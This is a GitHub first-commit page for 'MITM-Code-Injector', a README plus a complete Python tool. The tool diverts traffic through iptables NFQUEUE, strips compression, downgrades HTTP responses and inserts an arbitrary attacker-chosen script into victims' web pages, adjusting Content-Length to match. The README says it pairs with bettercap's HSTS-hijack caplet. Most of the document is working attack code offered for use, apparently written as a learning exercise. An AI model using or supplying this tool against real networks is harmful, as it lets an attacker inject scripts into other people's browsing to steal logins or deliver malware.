Skip to content

Commit 4086041

Browse files
committed
First commit.
0 parents  commit 4086041

File tree

8 files changed

+150
-0
lines changed

8 files changed

+150
-0
lines changed

.idea/.gitignore

Lines changed: 3 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

.idea/code_injector.iml

Lines changed: 10 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

.idea/inspectionProfiles/profiles_settings.xml

Lines changed: 6 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

.idea/misc.xml

Lines changed: 7 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

.idea/modules.xml

Lines changed: 8 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

README.md

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
# MITM-Code-Injector
2+
3+
**DEPENDENCIES:**
4+
```
5+
python3
6+
python3-pip
7+
```
8+
9+
-------------------------------------------------------
10+
11+
**INSTALLATION:**
12+
```
13+
git clone https://github.com/ilolm/MITM-code-injector.git
14+
cd MITM-code-injector
15+
pip3 install -r requirements.txt
16+
chmod +x code_injector.py
17+
```
18+
19+
-------------------------------------------------------
20+
21+
**USAGE:**
22+
```
23+
Usage: sudo ./code_injector.py [options]
24+
25+
Options:
26+
-h, --help show this help message and exit
27+
-s SCRIPT, --script=SCRIPT
28+
Enter script that you want to inject, EXAMPLE:
29+
alert('test');
30+
```

code_injector.py

Lines changed: 83 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,83 @@
1+
#!/usr/bin/env python3
2+
3+
import re
4+
import optparse
5+
import subprocess
6+
import netfilterqueue
7+
import scapy.all as scapy
8+
9+
10+
def get_options():
11+
parser = optparse.OptionParser()
12+
13+
parser.add_option("-s", "--script", dest="script", help="Enter script that you want to inject,\nEXAMPLE: alert('test');")
14+
15+
options = parser.parse_args()[0]
16+
17+
if not options.script:
18+
parser.error("\033[91m[-] Please enter a script that you want to inject. Use --help for more info.")
19+
return options
20+
21+
def prepare_iptables():
22+
# subprocess.call("iptables -I FORWARD -j NFQUEUE --queue-num 0", shell=True) # without bettercap
23+
24+
subprocess.call("iptables -I INPUT -j NFQUEUE --queue-num 0", shell=True) # with bettercap hstshijack caplet
25+
subprocess.call("iptables -I OUTPUT -j NFQUEUE --queue-num 0", shell=True) # with bettercap hstshijack caplet
26+
27+
def set_load(packet, load):
28+
packet[scapy.Raw].load = load
29+
30+
del packet[scapy.IP].len
31+
del packet[scapy.IP].chksum
32+
del packet[scapy.TCP].chksum
33+
34+
return packet
35+
36+
def process_packet(packet):
37+
scapy_packet = scapy.IP(packet.get_payload())
38+
39+
if scapy_packet.haslayer(scapy.Raw) and scapy_packet.haslayer(scapy.TCP):
40+
try:
41+
load = scapy_packet[scapy.Raw].load.decode()
42+
43+
if scapy_packet[scapy.TCP].dport == 8080: # Change to 80 if not using bettercap hstshijack
44+
load = re.sub("Accept-Encoding:.*?\\r\\n", "", load)
45+
46+
if "HTTP/1.1" in load:
47+
load = load.replace("HTTP/1.1", "HTTP/1.0")
48+
49+
elif scapy_packet[scapy.TCP].sport == 8080: # Change to 80 if not using bettercap hstshijack
50+
print("\033[1;32;40m[+] Injecting code.")
51+
injection_code = options.script
52+
load = load.replace("</body>", injection_code + "</body>")
53+
54+
content_length_search = re.search("(?:Content-Length:\s)(\d*)", load)
55+
56+
if content_length_search and "text/html" in load:
57+
content_length = content_length_search.group(1)
58+
new_content_length = int(content_length) + len(injection_code)
59+
60+
load = load.replace(content_length, str(new_content_length))
61+
62+
if load != str(scapy_packet[scapy.Raw].load):
63+
modified_packet = set_load(scapy_packet, load)
64+
packet.set_payload(bytes(modified_packet))
65+
66+
except UnicodeError:
67+
pass
68+
69+
packet.accept()
70+
71+
def restore():
72+
print("\n\033[1;35;40m[+] Detected CTRL + C. Quiting.... Please wait!")
73+
subprocess.call("iptables --flush", shell=True)
74+
75+
76+
options = get_options()
77+
prepare_iptables()
78+
queue = netfilterqueue.NetfilterQueue()
79+
queue.bind(0, process_packet)
80+
try:
81+
queue.run()
82+
except KeyboardInterrupt:
83+
restore()

requirements.txt

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
scapy
2+
netfilterqueue
3+
regex

0 commit comments

Comments
 (0)